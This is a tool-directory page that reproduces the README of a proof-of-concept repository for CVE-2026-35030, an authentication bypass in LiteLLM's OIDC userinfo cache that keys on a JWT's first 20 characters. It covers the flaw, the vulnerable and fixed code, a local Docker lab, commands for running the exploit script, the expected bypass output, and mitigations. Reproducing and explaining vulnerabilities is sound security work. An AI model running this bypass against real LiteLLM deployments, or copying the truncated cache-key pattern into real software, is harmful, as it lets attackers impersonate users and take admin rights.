Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-35030-PoC — The code for personally reproducing the corresponding vulnerability | Kitploit
Tools/GitHubGitHub/learner202649/cve-2026-35030-poc
Vulnerability AnalysisExploitationWeb SecurityCryptographyPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHublearner202649/cve-2026-35030-poc

CVE-2026-35030-PoC

The code for personally reproducing the corresponding vulnerability

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-35030 — LiteLLM Authentication Bypass via OIDC Userinfo Cache Key Collision

LiteLLM OIDC userinfo cache uses token[:20] as the cache key. Two different JWTs signed with the same algorithm produce identical first 20 characters, allowing an unauthenticated attacker to inherit another user's cached identity and permissions.

FieldValue
CVECVE-2026-35030
CVSS v4.09.4 (CRITICAL) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
CVSS v3.19.1 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-287 (Improper Authentication) / CWE-222 (Insufficiently Protected Credentials)
AffectedLiteLLM < 1.83.0 (with enable_jwt_auth: true)
Fixedv1.83.0+ (cache key changed to sha256(token))
Published2026-04-06
Discovered byVeria Labs
LinksGHSA-jjhc-v7c2-5hh6 • NVD • GitLab Advisory

Description

LiteLLM is an AI Gateway / proxy server for calling LLM APIs. When JWT authentication is enabled (enable_jwt_auth: true), LiteLLM validates tokens against an OIDC provider and caches the userinfo response.

The vulnerability: The cache key uses only the first 20 characters of the JWT:

root@kitploit:~
# Vulnerable code (pre-1.83.0)
cache_key = token[:20]   # Only first 20 characters!

A JWT is composed of three base64url-encoded segments separated by dots:

root@kitploit:~
<header>.<payload>.<signature>

The header (e.g., {"alg":"RS256","typ":"JWT"}) encodes identically for all tokens using the same signing algorithm. This means two different JWTs — issued to completely different users — will have the same first 20 characters.

Attack Flow

root@kitploit:~
1. Admin authenticates → LiteLLM fetches userinfo → cached with key = token[:20]
                                                                    ↑
2. Attacker crafts JWT with same algorithm (RS256) ────────────────┘
   → token[:20] is IDENTICAL → cache HIT → inherits admin identity

Impact

  • Authentication bypass: attacker inherits any cached user's identity
  • Privilege escalation: if admin's userinfo is cached, attacker gains admin privileges
  • Confidentiality + Integrity breach: attacker can access/modify resources as the victim
  • No authentication required (attacker can be unauthenticated)

Note on Enterprise Licensing: JWT/OIDC auth is an enterprise-only feature in LiteLLM (requires LITELLM_LICENSE). For local CVE reproduction, both Dockerfiles patch the premium_user check to True. This does not affect the vulnerability — the cache key collision (token[:20]) exists independently of the enterprise check.

The first startup runs Prisma migrations (~60-90s). LiteLLM will be ready when the logs show "Uvicorn running on http://0.0.0.0:4000".

Proof of Concept

Quick Start (Docker)

root@kitploit:~
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build

# 2. Install Python dependencies
pip install -r requirements.txt

# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "attacker", "role": "proxy_admin"}'

# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo

# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000

# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed

Expected Output

Demo mode — shows the cache key collision:

root@kitploit:~
[+] Admin JWT    (subject=admin):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[+] Attacker JWT (subject=attacker):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[🔥] COLLISION: Both tokens share the same first 20 characters!
    Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
    → cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'

Exploit mode — demonstrates the actual auth bypass:

root@kitploit:~
[VULNERABLE] Exploit Attempt — target: http://localhost:4000

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "admin", ...}   ← INHERITED ADMIN!

[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
        Attacker's token[:20] matched admin's cache key.
        Response user_id='admin' (expected 'admin' for escalation)

Fixed version — sha256 cache key prevents the collision:

root@kitploit:~
[FIXED] Exploit Attempt — target: http://localhost:4001

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "attacker", ...}   ← OWN IDENTITY preserved

    [+] Attacker identified as user_id='attacker'.
        Fixed version: cache collision prevented.

Technical Details

Root Cause

In litellm/proxy/auth/handle_jwt.py, the OIDC userinfo cache is keyed by token[:20]:

root@kitploit:~
# Vulnerable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}"   # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
    return cached_userinfo  # Cache hit → skip userinfo fetch!

# Fixed (v1.83.0+) — same file, line 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"

Why token[:20] Is Insufficient

Token componentIncludes user-specific data?Fixed for same algorithm?
Header (first ~30 chars)❌ No✅ Yes — identical base64
Payload (user-specific)✅ Yes❌ No — unique per user
Signature✅ Yes❌ No — unique per key

Since the header is the only part within the first 20 characters, and the header is identical for all tokens using the same signing algorithm, every RS256 JWT from the same issuer has the exact same first 20 characters.

Attack Scenarios

ScenarioDescription
Privilege EscalationLow-privilege user becomes admin via cache collision
Horizontal ImpersonationImpersonate any user whose userinfo is cached
Auth Bypass ChainCombine with CVE-2026-35029 to achieve RCE

Environment

root@kitploit:~
CVE-2026-35030/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM + mock OIDC
├── litellm_config.yaml          # LiteLLM config with JWT auth enabled
├── requirements.txt             # Python dependencies (PoC)
├── litellm-vuln/
│   └── Dockerfile               # Vulnerable LiteLLM v1.82.5 with enterprise patch
├── litellm-fixed/
│   └── Dockerfile               # Fixed LiteLLM v1.83.0+ with sha256 cache key
├── oidc-provider/
│   ├── Dockerfile               # Mock OIDC provider image
│   ├── requirements.txt
│   └── server.py                # OIDC mock (FastAPI)
├── exploit/
│   ├── exploit.py               # Main PoC exploit script
│   └── token_forge.py           # JWT collision utilities
├── docs/
│   └── advisory.md              # Advisory reference
└── screenshots/
    └── README.md                # Proof screenshots placeholder

Mitigation

  1. Upgrade to LiteLLM v1.83.0+ (cache key uses sha256(token))
  2. Disable JWT/OIDC auth if not needed: enable_jwt_auth: false
  3. Restrict network exposure of LiteLLM endpoints
  4. Set short OIDC cache TTL to reduce the attack window

References

  • GitHub Security Advisory GHSA-jjhc-v7c2-5hh6
  • GitLab Advisory
  • NVD Detail
  • LiteLLM Security Hardening (April 2026)
  • v1.83.0-stable Release

Disclaimer: This content is provided for educational purposes and authorized security testing only.

Download Tool